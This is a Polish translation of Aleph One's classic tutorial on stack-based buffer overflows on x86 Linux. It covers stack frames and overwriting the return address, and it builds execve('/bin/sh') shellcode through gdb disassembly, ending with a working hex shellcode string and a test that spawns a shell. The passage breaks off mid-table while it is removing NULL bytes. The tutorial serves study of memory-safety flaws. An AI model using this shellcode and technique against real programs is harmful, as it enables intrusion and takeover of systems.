XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX Jak przepelnic bufor dla zysku i zabawy XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX by Aleph1 aleph1@underground.org Tlumaczenie: MixMan W wielu implementacjach C mozliwe jest zniszczenie stosu poprzez nadpisanie tablicy zadeklarowanej jako auto w danej funkcji. O kodzie ktory tak wlasnie dziala mowimy z angielskiego 'smash the stack' (niektore terminy nie beda tutaj tlumaczone ze wzgledow zarowno praktycznych jak i estetycznych), moze to powodowac skok do dowolnego adresu przy powrocie z funkcji. Prowadzi to do najbardziej zdradliwych bledow programistycznych zwiazanych z danymi jakie ludzkosc do tej pory poznala. Istnieje wiele odmian tego typu bledow takich jak 'trash the stack', 'scribble the stack', 'mangle the stack'; termin 'mung the stack' nie jest uzywany poniewaz dzialanie to jest zawsze nieumyslne. Patrz takze: 'spam', 'alias bug', 'fandago on core', 'memory leak', 'precedence lossage', 'overrun screw'. Wprowadzenie ~~~~~~~~~~~~ W ciagu ostatnich kilku miesiecy znacznie zwiekszyla sie liczba odkrytych i wykorzystanych bledow zwiazanych z przepelnieniem bufora. Za przyklad moga tutaj posluzyc programy takie jak syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, biblioteka Xt, at, itp. Ten dokument probuje wyjasnic czym sa przepelnienia bufora i jak dzialaja. Wymagana jest znajomosc podstaw asemblera. Zrozumienie koncepcji pamieci wirtualnej i doswiadczenie z gdb sa bardzo pomocne ale nie niezbedne. Przyjmujemy takze ze pracujemy z procesorem Intel x86 i ze systemem operacyjnym jest Linux. Pare podstawowych definicji zanim zaczniemy: Bufor to po prostu ciagly blok pamieci komputerowej zawierajacy wiele jednostek danych tego samego typu. Programisci C zazwyczaj kojarza slowo bufor z tablica. Najczesciej tablica znakow. Tablice, jak wszystkie zmienne w C, moga byc zadeklarowane jako statyczne lub dynamiczne. Zmienne statyczne sa umieszczane w czasie ladowania w segmencie danych. Zmienne dynamiczne sa natomiast umieszczane w czasie wykonywania na stosie. Przepelnic to zlamac, wyjsc poza bariery, krawedzie. Zajmiemy sie tutaj tylko przepelnieniami buforow dynamicznych, znanych takze jako przepelnienia bazujace na stosie. Organizacja pamieci procesu ~~~~~~~~~~~~~~~~~~~~~~~~~~~ Zeby zrozumiec czym sa przepelnienia bufora musimy najpierw zrozumiec jak proces jest zorganizowany w pamieci. Procesy sa podzielone na trzy strefy: Tekst, Dane, i Stos. Skoncentrujemy sie na strefie stosu, ale najpierw maly przeglad pozostalych stref. Strefa tekstu jest stala i ustalana przez program, w jej sklad wchodzi kod (instrukcje) i dane tylko do odczytu. Strefa ta odpowiada tej w pliku wykonywalnym. Zazwyczaj ta czesc oznaczona jest jako tylko do odczytu i proba zapisu do niej wywola blad segmentacji. Strefa danych zawiera zainicjowane i niezainicjowane dane. Statyczne zmienne znajduja sie wlasnie tutaj. Strefa ta odpowiada strefie danych bss w pliku wykonywalnym. Jej rozmiar moze zostac zmieniony poprzez wywolanie systemowe brk(2). Jesli rozrost czesci bss lub stosu spowoduje wyczerpanie aktualnie dostepnej pamieci, proces jest blokowany i wywolywana jest funkcja szeregujaca ktora ponownie uruchamia proces tym razem z wieksza iloscia pamieci. Nowa pamiec dodawana jest pomiedzy segmenty danych i stosu. /------------------\ nizsze | | adresy | Tekst | pamieci | | |------------------| | (Zainicjowane) | | Dane | | (Niezainicjowane)| |------------------| | | | Stos | wyzsze | | adresy \------------------/ pamieci Fig. 1 Strefy pamieci procesu Czym jest stos ? ~~~~~~~~~~~~~~~~ Stos to abstrakcyjny typ danych czesto uzywany w nauce komputerowej. Stos obiektow posiada taka wlasciwosc iz ostatni obiekt polozony na stosie bedzie pierwszym ktory zostanie z niego zdjety. Ta wlasciwosc czesto jest okreslana jako kolejka ostatni wchodzi, pierwszy wychodzi, albo LIFO (last in, first out) Zdefiniowanych jest kilka operacji na stosie. Dwie z najwazniejszych to PUSH i POP. PUSH dodaje element na wierzcholek stosu, POP natomiast w przeciwienstwie redukuje rozmiar stosu o jeden usuwajac ostatni element ze stosu. Dlaczego uzywamy stosu ? ~~~~~~~~~~~~~~~~~~~~~~ Nowoczesne komputery sa projektowane z mysla o jezykach wysokiego poziomu. Najwazniejsza technika uzywana w jezykach wysokiego poziomu jest procedura lub funkcja. Z jednego punktu widzenia, procedura tak samo jak skok zmienia bieg programu, z drugiej jednak procedura w przeciwienstwie do skoku powraca i przekazuje kontrole instrukcji nastepujacej zaraz po niej. Abstrakcja wysokiego poziomu jest zaimplementowana wlasnie z pomoca stosu. Stos jest takze uzywany do dynamicznego alokowania zmiennych lokalnych w funkcjach, a takze w przekazywaniu parametrow do funkcji, i w zwrocie wartosci z funkcji. Strefa stosu ~~~~~~~~~~~~~~~~ Stos to ciagly blok pamieci zawierajacy dane. Rejestr procesora zwany wskaznikiem stosu (SP) wskazuje ma wierzcholek stosu. Dno stosu ma staly adres. Jego rozmiar jest dynamicznie dopasowywany w czasie wykonywania przez jadro. W procesorze zaimplementowane sa instrukcje PUSH aby polozyc cos na stos i POP aby cos z niego zdjac. Stos sklada sie z logicznych ramek stosu ktore sa kladzione na nim kiedy wywolywana jest funkcja, odwrotnie kiedy funkcja powraca ramka jest z niego zdejmowana. Ramka stosu zawiera parametry funkcji, jej lokalne zmienne, i dane niezbedne do odtworzenia poprzedniej ramki stosu, wlacznie z wartoscia wskaznika instrukcji przed wywolaniem funkcji. Zaleznie od implementacji stos albo bedzie rosl w dol (w kierunku nizszych adresow pamieci) albo w gore. W naszych przykladach bedziemy uzywac stosu ktory rosnie w dol. Tak jest w wielu procesorach wlacznie z takimi jak Intel, Motorola, SPARC, i MIPS. Wskaznik stosu (SP) jest takze zalezny od implementacji. Moze on wskazywac albo na ostatni adres na stosie, albo na nastepny wolny po stosie. W naszej dyskusji przyjmiemy ze wskazuje on na ostatni adres na stosie. Dodatkowo oprocz wskaznika stosu, ktory wskazuje na wierzcholek stosu (najnizszy numeryczny adres) czesto uzywany jest wskaznik ramki (FP) ktory wskazuje na stala lokacje wewnatrz ramki. Niektore teksty odnosza sie do niego takze jako lokalny wskaznik bazy (LB). W zasadzie moznaby sie odwolywac do zmiennych lokalnych tylko za pomoca offsetu (odleglosci) od SP. Jednakze, kiedy slowa sa kladzione i ponownie zdejmowane ze stosu, te offsety ulegaja zmianie. Mimo iz kompilator w niektorych przypadkach potrafi sledzic ilosc slow na stosie i w ten sposob korygowac offsety, to jednak w niektorych przypadkach nie jest to mozliwe, a w wszystkich przypadkach wymagana jest przemyslana administracja. Idac dalej, na niektorych maszynach, jak np. procesory bazujace na architekturze Intela,dostep do zmiennej w okreslonej odleglosci od SP wymaga wielu instrukcji. W konsekwencji, wiele kompilatorow uzywa drugiego rejestru, FP, aby odwolywac sie zarowno do zmiennych lokalnych jak i parametrow poniewaz ich odleglosc od FP nie ulega zmianie podczas wykonywania instrukcji PUSH i POP. W procesorach Intela, BP (EBP) jest uzywany do tego celu. W procesorach Motoroli kazdy rejestr adresowy poza A7 (wskaznik stosu) moze byc uzyty do tego celu. Poniewaz nasz stos rosnie w dol, aktualne parametry maja pozytywny a zmienne lokalne negatywny offset od FP. Pierwsza rzecza ktora musi wykonac funkcja kiedy jest wywolywana jest zachowanie aktualnego FP (tak by mogl byc pozniej odtworzony przy wyjsciu z funkcji). Nastepnie funkcja kopiuje SP do FP zeby stworzyc nowy FP, i przesuwa SP aby utworzyc miejsce dla zmiennych lokalnych. Taki kod zwany jest prologiem funkcji. Przy wyjsciu, stos musi zostac wyczyszczony, taki kod zwany jest epilogiem funkcji. Instrukcje LEAVE i ENTER procesorow Intela, oraz instrukcje LINK i UNLINK procesorow Motoroli zostaly udostepnione aby usprawnic prolog i epilog funkcji. Popatrzmy na prostym przykladzie jak wyglada stos: przyklad1.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; } void main() { function(1,2,3); } ------------------------------------------------------------------------------ Aby zrozumiec co program robi kiedy wywoluje funkcje function() kompilujemy go z uzyciem gcc z opcja -S aby wygenerowac odpowiednik naszego kodu w asemblerze: $ gcc -S -o przyklad1.s przyklad1.c Patrzac na plik z asemblerem widzimy iz wywolanie funkcji jest tlumaczone na: pushl $3 pushl $2 pushl $1 call function Kod ten kladzie na stos 3 argumenty funkcji w odwrotnej kolejnosci, a nastepnie wywoluje funkcje function(). Instrukcja 'call' polozy na stos wskaznik instrukcji (IP). Nazwiemy zapisany na stosie IP adresem powrotnym (RET). Pierwsza rzecza ktora wykonuje funkcja jest prolog: pushl %ebp movl %esp,%ebp subl $20,%esp Tutaj EBP, wskaznik ramki, jest kladziony na stos. Potem aktualny SP (ktory przechowywany jest w 32 bitowym rejestrze ESP) jest kopiowany do EBP, tym samym czyniac go nowym wkaznikiem FP. Nazwiemy FP zapisany na stosie SFP. Nastepnie funkcja alokuje przestrzen dla zmiennych lokalnych odejmujac ich rozmiar od SP. Musimy pamietac ze pamiec moze byc adresowana tylko wielokrotnosciami slowa. W naszym przypadku slowo to 4 bajty, albo 32 bity. Tak wiec nasz 5 bajtowy bufor tak naprawde zajmnie 8 bajtow (2 slowa) pamieci, a nasz 10 bajtowy bufor zajmnie 12 bajtow (3 slowa) pamieci. Dlatego od SP odejmowane jest 20 bajtow a nie 15. Pamietajac o tym nasz stos wyglada mniej wiecej tak kiedy wolana jest funkcja function() (kazda spacja to bajt): dno pamieci szczyt pamieci buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] szczyt stosu dno stosu Przepelnienia bufora ~~~~~~~~~~~~~~~~~~~~ Przepelnienie bufora jest wynikiem 'wpakowania' do bufora wiecej danych niz moze pomiescic. Jak ten czesto spotykany blad moze zostac wykorzystany do wykonania dowolnego kodu ? Popatrzmy na inny przyklad: przyklad2.c ------------------------------------------------------------------------------ void function(char *str) { char buffer[16]; strcpy(buffer,str); } void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } ------------------------------------------------------------------------------ Ten program posiada funkcje z typowym bledem przepelnienia bufora. Ta funkcja kopiuje podany ciag bez sprawdzania granic uzywajac strcpy() zamiast strncpy(). Jesli uruchomisz ten program otrzymasz blad segmentacji pamieci. Popatrzmy jak wyglada stos kiedy wywolamy funkcje: dno pamieci szczyt pamieci buffer sfp ret *str <------ [ ][ ][ ][ ] szczyt stosu dno stosu Co tu sie dzieje ? Dlaczego dostajemy blad segmentacji ? Proste. strcpy() kopiuje zawartosc *str (larger_string[]) do buffer[] az napotka znak null w ciagu. Jak widzimy buffer[] jest duzo mniejszy niz *str. buffer[] ma 16 bajtow, a my probujemy wepchac do niego 256 bajtow. To znaczy ze cale 250 bajtow poza buforem na stosie zostaje nadpisanych. W to wchodza SFP, RET i nawet *str ! Zapelnilismy large_string[] znakiem 'A'. Szesnastkowo 'A' ma wartosc 0x41. To znaczy ze adres powrotny ma teraz wartosc 0x41414141. Wskazuje to na pamiec poza przestrzenia adresowa procesu. Dlatego kiedy funkcja powraca i probuje odczytac nastepna instrukcje z tego adresu wystepuje blad segmentacji Tak wiec przepelnienie bufora pozwala nam zmienic adres powrotny funkcji. W ten sposob mozemy zmienic przebieg wykonywania programu. Wrocmy do naszego pierwszego przykladu i przypomnijmy sobie jak wygladal stos: dno pamieci szczyt pamieci buffer2 buffer1 sfp ret a b c <------ [ ][ ][ ][ ][ ][ ][ ] szczyt stosu dno stosu Sprobujmy zmodyfikowac nasz pierwszy przyklad tak aby nadpisany zostal adres powrotny funkcji, i zademonstrowac jak mozemy w ten sposob wykonac dowolny kod. Tuz przed buffer1[] na stosie znajduje sie SFP, a przed nim, adres powrotny. To 4 bajty po koncu buffer1[]. Ale pamietaj ze buffer1[] tak naprawde ma 2 slowa czyli 8 bajtow. Tak wiec adres powrotny jest oddalony o 12 bajtow od poczatku buffer1[]. Zmodyfikujemy tak wartosc powrotna aby program skoczyl poza przypisanie 'x = 1;' zaraz po wywolaniu funkcji. Aby to zrobic dodajemy 8 bajtow do adresu powrotnego. Nasz kod wyglada teraz tak: przyklad3.c: ------------------------------------------------------------------------------ void function(int a, int b, int c) { char buffer1[5]; char buffer2[10]; int *ret; ret = buffer1 + 12; (*ret) += 8; } void main() { int x; x = 0; function(1,2,3); x = 1; printf("%d\n",x); } ------------------------------------------------------------------------------ To co zrobilismy to dodalismy 12 do adresu buffer1[]. Nowy adres wskazuje na RET. Chcemy pominac przypisanie i skoczyc do wywolania funkcji printf(). Jak wiedzielismy ze trzeba dodac 8 do adresu powrotnego ? Najpierw uzylismy wartosci testowej (dla przykladu 1), skompilowalismy program, i uzylismy gdb: ------------------------------------------------------------------------------ [aleph1]$ gdb przyklad3 GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble main Dump of assembler code for function main: 0x8000490
: pushl %ebp 0x8000491 : movl %esp,%ebp 0x8000493 : subl $0x4,%esp 0x8000496 : movl $0x0,0xfffffffc(%ebp) 0x800049d : pushl $0x3 0x800049f : pushl $0x2 0x80004a1 : pushl $0x1 0x80004a3 : call 0x8000470 0x80004a8 : addl $0xc,%esp 0x80004ab : movl $0x1,0xfffffffc(%ebp) 0x80004b2 : movl 0xfffffffc(%ebp),%eax 0x80004b5 : pushl %eax 0x80004b6 : pushl $0x80004f8 0x80004bb : call 0x8000378 0x80004c0 : addl $0x8,%esp 0x80004c3 : movl %ebp,%esp 0x80004c5 : popl %ebp 0x80004c6 : ret 0x80004c7 : nop ------------------------------------------------------------------------------ Widzimy ze przy wywolaniu funkcji function() RET ma wartosc 0x80004a8, a my chcemy skoczyc poza przypisanie pod adresem 0x80004ab. Nastepna instrukcja ktora chcemy wykonac jest pod adresem 0x80004b2. Troche matematyki mowi nam ze odleglosc ta to 8 bajtow. Shell Code ~~~~~~~~~~ Teraz kiedy wiemy jak modyfikowac adres powrotny i przebieg programu jaki program chcemy wykonac ? Najczesciej bedziemy chcieli aby program uruchomil nam powloke. Potem z powloki bedziemy mogli wydawac dowolne komendy. Ale co wtedy kiedy w programie ktory staramy sie wykorzystac nie ma takiego kodu ? Jak umiescic dowolne instrukcje w jego przestrzeni adresowej ? Odpowiedz to umiescic kod ktory chcemy wykonac w buforze ktory przepelniamy, i tak zmienic adres powrotny by wskazywal do bufora. Przyjmujac ze stos zaczyna sie od adresu 0xFF, i ze S oznacza kod ktory chcemy wykonac, stos wygladalby tak: dno DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF szczyt pamieci 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF pamieci buffer sfp ret a b c <------ [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03] ^ | |____________________________| szczyt stosu dno stosu Kod ktory odpali powloke wyglada w C tak: shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ Zeby dowiedziec sie jak to wyglada w asemblerze kompilujemy to, i odpalamy gdb. Pamietaj zeby uzyc flagi -static. Inaczej kod dla wywolania execve nie zostanie wlaczony do pliku. Zamiast tego bedzie referencja do dynamicznej biblioteki C ktora normalnie jest laczona w czasie wykonywania. ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) 0x800013d : movl $0x0,0xfffffffc(%ebp) 0x8000144 : pushl $0x0 0x8000146 : leal 0xfffffff8(%ebp),%eax 0x8000149 : pushl %eax 0x800014a : movl 0xfffffff8(%ebp),%eax 0x800014d : pushl %eax 0x800014e : call 0x80002bc <__execve> 0x8000153 : addl $0xc,%esp 0x8000156 : movl %ebp,%esp 0x8000158 : popl %ebp 0x8000159 : ret End of assembler dump. (gdb) disassemble __execve Dump of assembler code for function __execve: 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx 0x80002c0 <__execve+4>: movl $0xb,%eax 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx 0x80002ce <__execve+18>: int $0x80 0x80002d0 <__execve+20>: movl %eax,%edx 0x80002d2 <__execve+22>: testl %edx,%edx 0x80002d4 <__execve+24>: jnl 0x80002e6 <__execve+42> 0x80002d6 <__execve+26>: negl %edx 0x80002d8 <__execve+28>: pushl %edx 0x80002d9 <__execve+29>: call 0x8001a34 <__normal_errno_location> 0x80002de <__execve+34>: popl %edx 0x80002df <__execve+35>: movl %edx,(%eax) 0x80002e1 <__execve+37>: movl $0xffffffff,%eax 0x80002e6 <__execve+42>: popl %ebx 0x80002e7 <__execve+43>: movl %ebp,%esp 0x80002e9 <__execve+45>: popl %ebp 0x80002ea <__execve+46>: ret 0x80002eb <__execve+47>: nop End of assembler dump. ------------------------------------------------------------------------------ Sprobujmy zrozumiec co tu sie dzieje. Zaczniemy od studiowania funkcji main: ------------------------------------------------------------------------------ 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : subl $0x8,%esp To prolog funkcji. Najpierw zapisywany jest wskaznik ramki, nastepnie aktualny wskaznik stosu staje sie nowym wskaznikiem ramki. Na koncu rezerwowana jest pamiec dla zmiennych lokalnych. W tym przypadku zmienne to: char *name[2]; albo 2 wskazniki do znaku. Wskazniki maja dlugosc 1 slowa, tak wiec funkcja zostawia miejsce na 2 slowa (8 bajtow). 0x8000136 : movl $0x80027b8,0xfffffff8(%ebp) Kopiujemy wartosc 0x80027b8 (adres ciagu "/bin/sh") do pierwszego wskaznika z name[]. Jest to rowne przypisaniu: name[0] = "/bin/sh"; 0x800013d : movl $0x0,0xfffffffc(%ebp) Kopiujemy wartosc 0x0 (NULL) do drugiego wskaznika. Jest to rowne przypisaniu: name[1] = NULL; Aktualne odwolanie do execve zaczyna sie tutaj: 0x8000144 : pushl $0x0 Kladziemy argumety dla execve() na stosie w odwrotnej kolejnosci. Zaczynamy od NULL. 0x8000146 : leal 0xfffffff8(%ebp),%eax Ladujemy adres name[] do rejestru EAX. 0x8000149 : pushl %eax Kladziemy adres name[] na stosie. 0x800014a : movl 0xfffffff8(%ebp),%eax Ladujemy adres ciagu "/bin/sh" do rejestru EAX. 0x800014d : pushl %eax Kladziemy adres ciagu "/bin/sh" na stosie. 0x800014e : call 0x80002bc <__execve> Wywolanie funkcji bibliotecznej execve(). Wywolanie umieszcza IP na stosie. ------------------------------------------------------------------------------ Teraz execve(). Pamietaj ze uzywamy Linuxa na procesorze Intela. Sposob i szczegoly wywolania systemowego beda sie zmieniac z systemu na system, z procesora na procesor. Niektore beda przekazywaly parametry przez stos, inne przez rejestry. Jedne uzywaja przerwania programowego aby przejsc w tryb jadra, inne uzywaja dalekiego skoku. Linux przekazuje parametry przez rejestry, i uzywa przerwania programowego aby przejsc w tryb jadra. ------------------------------------------------------------------------------ 0x80002bc <__execve>: pushl %ebp 0x80002bd <__execve+1>: movl %esp,%ebp 0x80002bf <__execve+3>: pushl %ebx Prolog funkcji. 0x80002c0 <__execve+4>: movl $0xb,%eax Kopiuje 0xb (11 dziesietnie) na stos. Jest to indeks do tabeli wywolan systemowych. 11 to execve. 0x80002c5 <__execve+9>: movl 0x8(%ebp),%ebx Kopiuje adres ciagu "/bin/sh" do EBX. 0x80002c8 <__execve+12>: movl 0xc(%ebp),%ecx Kopiuje adres name[] do ECX. 0x80002cb <__execve+15>: movl 0x10(%ebp),%edx Kopiuje adres wskaznika NULL do EDX. 0x80002ce <__execve+18>: int $0x80 Przejscie w tryb systemowy. ------------------------------------------------------------------------------ Jak wiec widac nie trzeba duzo dla wywolania systemowego execve(). Wszystko co potrzebujemy to: a) Ciag "/bin/sh" zakonczony NULL gdzies w pamieci b) Adres ciagu "/bin/sh" zakonczony slowem NULL gdzies w pamieci c) Wartosc 0xb w EAX d) Adres adresu ciagu "/bin/sh" w EBX e) Adres ciagu "/bin/sh" w ECX f) Adres slowa NULL w EDX g) Wykonac int $0x80 Ale co jesli wywolanie execve() nie zadziala z jakiegos powodu ? Program bedzie dalej pobieral instrukcje ze stosu, ktore moga zawierac dowolne dane ! Najprawdopodobniej skonczy sie to bledem segmentacji. Chcemy zeby program wyszedl czysto jesli execve() zawiedzie. Aby to osiagnac musimy dodac wywolanie systemowe exit po execve. Jak ono wyglada ? exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (no debugging symbols found)... (gdb) disassemble _exit Dump of assembler code for function _exit: 0x800034c <_exit>: pushl %ebp 0x800034d <_exit+1>: movl %esp,%ebp 0x800034f <_exit+3>: pushl %ebx 0x8000350 <_exit+4>: movl $0x1,%eax 0x8000355 <_exit+9>: movl 0x8(%ebp),%ebx 0x8000358 <_exit+12>: int $0x80 0x800035a <_exit+14>: movl 0xfffffffc(%ebp),%ebx 0x800035d <_exit+17>: movl %ebp,%esp 0x800035f <_exit+19>: popl %ebp 0x8000360 <_exit+20>: ret 0x8000361 <_exit+21>: nop 0x8000362 <_exit+22>: nop 0x8000363 <_exit+23>: nop End of assembler dump. ------------------------------------------------------------------------------ Wywolanie exit wymaga umieszczenia 0x1 w EAX i kod wyjscia w EBX, nastepnie wystarczy juz tylko wywolac przerwanie 0x80. To wszystko. Wiekszosc aplikacji zwraca 0 aby wskazac ze nie bylo zadnych bledow. My takze umiescimy 0 w EBX. Nasza lista krokow wyglada teraz tak: a) Ciag "/bin/sh" zakonczony NULL gdzies w pamieci b) Adres ciagu "/bin/sh" zakonczony slowem NULL gdzies w pamieci c) Wartosc 0xb w EAX d) Adres adresu ciagu "/bin/sh" w EBX e) Adres ciagu "/bin/sh" w ECX f) Adres slowa NULL w EDX g) Wykonac int $0x80 h) Wartosc 0x1 w EAX i) Wartosc 0x0 w EBX j) Wykonac int $0x80 Probujac zlozyc to wszystko razem w asemblerze, umieszczajac ciag "/bin/sh" po kodzie, i pamietajac ze po tablicy bedzie adres ciagu i slowo NULL wychodzi nam: ------------------------------------------------------------------------------ movl adres_ciagu,adres_adresu_ciagu movb $0x0,adres_bajtu_NULL movl $0x0,adres_NULL movl $0xb,%eax movl adres_ciagu,%ebx leal adres_ciagu,%ecx leal ciag_NULL,%edx int $0x80 movl $0x1, %eax movl $0x0, %ebx int $0x80 /bin/sh bedzie tutaj. ------------------------------------------------------------------------------ Problem tkwi w tym iz nie wiemy w ktorym miejscu w pamieci bedzie wykonywany nasz program (i gdzie bedzie ciag ktory jest po kodzie). Jedno z rozwiazan to uzycie istrukcji JMP i CALL. Instrukcje JMP i CALL moga uzywac adresow relatywnych do IP, bez potrzeby posiadania wiedzy gdzie dokladnie w pamieci chcemy skoczyc. Jesli umiescimy instrukcje CALL tuz przed ciagiem "/bin/sh" i instrukcje JMP ktora skoczy do niej, adres ciagu zostanie polozony na stosie jako adres powrotny z funkcji. Teraz wystarczy juz tylko skopiowac go do rejestru. Instrukcja CALL moze po prostu wywolywac poczatek naszego powyzszego kodu. Przyjmujac teraz ze J oznacza instrukcje JMP, C instrukcje CALL, a s ciag "/bin/sh", przebieg programu wygladalby teraz tak: dno DDDDDDDDEEEEEEEEEEEE EEEE FFFF FFFF FFFF FFFF szczyt pamieci 89ABCDEF0123456789AB CDEF 0123 4567 89AB CDEF pamieci buffer sfp ret a b c <------ [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03] ^|^ ^| | |||_____________||____________| (1) (2) ||_____________|| |______________| (3) szczyt stosu dno stosu Z tymi modyfikacjami, uzywajac indeksowanego adresowania, i spisujac ile bajtow zajmuje kazda instrukcja nasz kod wyglada tak: ------------------------------------------------------------------------------ jmp offset-do-call # 2 bajty popl %esi # 1 bajt movl %esi,offset-tablicy(%esi) # 3 bajty movb $0x0,offsetbajtuNULL(%esi) # 4 bajty movl $0x0,offset-NULL(%esi) # 7 bajtow movl $0xb,%eax # 5 bajtow movl %esi,%ebx # 2 bajty leal offset-tablicy,(%esi),%ecx # 3 bajty leal offset-NULL(%esi),%edx # 3 bajty int $0x80 # 2 bajty movl $0x1, %eax # 5 bajtow movl $0x0, %ebx # 5 bajtow int $0x80 # 2 bajty call offset-do-popl # 5 bajtow /bin/sh bedzie tutaj. ------------------------------------------------------------------------------ Kalkulujac offsety od jmp do call, od call do popl, od adresu ciagu do tablicy, i od adresu ciagu do slowa null, mamy: ------------------------------------------------------------------------------ jmp 0x26 # 2 bajty popl %esi # 1 bajt movl %esi,0x8(%esi) # 3 bajty movb $0x0,0x7(%esi) # 4 bajty movl $0x0,0xc(%esi) # 7 bajtow movl $0xb,%eax # 5 bajtow movl %esi,%ebx # 2 bajty leal 0x8(%esi),%ecx # 3 bajty leal 0xc(%esi),%edx # 3 bajty int $0x80 # 2 bajty movl $0x1, %eax # 5 bajtow movl $0x0, %ebx # 5 bajtow int $0x80 # 2 bajty call -0x2b # 5 bajtow .string \"/bin/sh\" # 8 bajtow ------------------------------------------------------------------------------ Wyglada dobrze. Aby byc pewnym ze wszystko dziala musimy to skompilowac i uruchomic. Ale jest problem. Nasz kod modyfikuje sam siebie, a wiekszosc systemow operacyjnych ma oznaczone strony kodu jako tylko do odczytu. Zeby ominac ta restrykcje musimy umiescic nasz kod w segmencie danych albo stosu, a nastepnie przekazac tam sterowanie. Aby to zrobic umiescimy nasz kod w segmencie danych. Najpierw potrzebujemy szesnastkowej reprezentacji kodu binarnego. Skompilujemy wiec nasz kod i uzyjemy gdb aby uzyskac reprezentacje szesnastkowa. shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bajty popl %esi # 1 bajt movl %esi,0x8(%esi) # 3 bajty movb $0x0,0x7(%esi) # 4 bajty movl $0x0,0xc(%esi) # 7 bajtow movl $0xb,%eax # 5 bajtow movl %esi,%ebx # 2 bajty leal 0x8(%esi),%ecx # 3 bajty leal 0xc(%esi),%edx # 3 bajty int $0x80 # 2 bajty movl $0x1, %eax # 5 bajtow movl $0x0, %ebx # 5 bajtow int $0x80 # 2 bajty call -0x2f # 5 bajtow .string \"/bin/sh\" # 8 bajtow "); } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c [aleph1]$ gdb shellcodeasm GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc... (gdb) disassemble main Dump of assembler code for function main: 0x8000130
: pushl %ebp 0x8000131 : movl %esp,%ebp 0x8000133 : jmp 0x800015f 0x8000135 : popl %esi 0x8000136 : movl %esi,0x8(%esi) 0x8000139 : movb $0x0,0x7(%esi) 0x800013d : movl $0x0,0xc(%esi) 0x8000144 : movl $0xb,%eax 0x8000149 : movl %esi,%ebx 0x800014b : leal 0x8(%esi),%ecx 0x800014e : leal 0xc(%esi),%edx 0x8000151 : int $0x80 0x8000153 : movl $0x1,%eax 0x8000158 : movl $0x0,%ebx 0x800015d : int $0x80 0x800015f : call 0x8000135 0x8000164 : das 0x8000165 : boundl 0x6e(%ecx),%ebp 0x8000168 : das 0x8000169 : jae 0x80001d3 <__new_exitfn+55> 0x800016b : addb %cl,0x55c35dec(%ecx) End of assembler dump. (gdb) x/bx main+3 0x8000133 : 0xeb (gdb) 0x8000134 : 0x2a (gdb) . . . ------------------------------------------------------------------------------ testsc.c ------------------------------------------------------------------------------ char shellcode[] = "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; void main() { int *ret; ret = (int *)&ret + 2; (*ret) = (int)shellcode; } ------------------------------------------------------------------------------ ------------------------------------------------------------------------------ [aleph1]$ gcc -o testsc testsc.c [aleph1]$ ./testsc $ exit [aleph1]$ ------------------------------------------------------------------------------ Dziala ! Jednak jest male 'ale'. W wiekszosci przypadkow bedziemy sie starali przepelnic bufor znakowy, a w takim jakikolwiek bajt NULL bedzie traktowany jak koniec ciagu, co automatycznie przerwie kopiowanie i obetnie nasz kod. Ciag nie moze zawierac zadnych bajtow NULL aby exploit zadzialal. Sprobujmy wyeliminowac te bajty (a przy okazji zmniejszyc kod). Klopotliwa instrukcja: Zamiana na: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al 